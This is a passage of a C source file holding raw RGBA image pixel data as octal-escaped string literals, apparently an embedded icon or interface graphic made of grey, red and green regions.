"\230\377\234\230\230\377\232\226\226\377ppp\377ppp\362ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\235\235\235\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\317\317\317\377ggg\377\002\002\002\377\000\000\000\377,\000\000\377\302"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\244"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377M\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220"
"\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377ppp\363ppp\377"
"ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\235\235\235\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\237\237\237\377"
"\032\032\032\377\000\000\000\377\001\000\000\377_\000\000\377\351\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377_\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\177\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\232\226\226"
"\377ppp\377ppp\363ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\235"
"\235\235\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\313\313\313\377ggg\377\006\006\006\377\000\000\000\377\021"
"\000\000\377\201\000\000\377\361\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\033\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\302\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215"
"\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377VVV\377\000"
"\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\002\"\000\377"
"\000\000\000\377\266\266\266\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\232\226\226\377ppp\377ppp\363ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377\235\235\235\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\264\264\264\377:::\377\000\000\000\377\000\000\000\377\022\000\000\377\203\000"
"\000\377\362\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\331\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\014\000\000\377\371\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377ppp\363"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\235\235\235\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\241\241\241\377:::\377\000\000\000\377\000\000\000\377\012\000\000\377\\\000\000\377\273\000\000"
"\377\375\000\000\377\377\000\000\377\227\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377H\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000"
"\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377VVV\377\000\000\000"
"\377\011\227\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\002\"\000\377\000\000"
"\000\377\266\266\266\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\232\226\226\377ppp\377ppp\364ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\235\235\235\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\246\246\246\377???\377\002\002\002\377\000\000\000\377\000\000\000\377\035\000\000\377u\000\000\377"
"b\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\210\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377p"
"pp\364ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\235\235\235\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\270\270\270\377jjj\377\035\035\035\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\003\000\000\377\223\000\000\377\325\000\000\377\345\000\000\377\371\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377VVV\377\000\000\000\377\010\203\000\377\016\335\000\377\016\335\000"
"\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016"
"\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377"
"\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335"
"\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016"
"\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377"
"\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335"
"\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016"
"\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377"
"\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335\000\377\016\335"
"\000\377\016\335\000\377\002\035\000\377\000\000\000\377\266\266\266\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377ppp\364"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\235\235\235\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\321\321\321\377\237\237\237\377```\377###\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\015\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377VVV\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\267\267\267\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\232\226\226\377ppp\377ppp\364ppp\377ppp\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"}||\377ppp\377\235\235\235\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\273\273\273\377\217"
"\217\217\377kkk\377FFF\377%%%\377\027\027\027\377\013\013\013\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\013\013\013\377\224\224\224\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\225\225\225\377\040\040\040\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034"
"\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377"
"\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034"
"\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034"
"\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377"
"\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034"
"\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034"
"\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377"
"\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034"
"\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034"
"\034\034\377\034\034\034\377:::\377\320\320\320\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220"
"\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\232\226\226\377ppp\377ppp\365ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\235\235\235\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\232\226\226"
"\377ppp\377ppp\365ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\236"
"\236\236\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\232\226\226\377ppp\377ppp\365ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\236\236\236\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
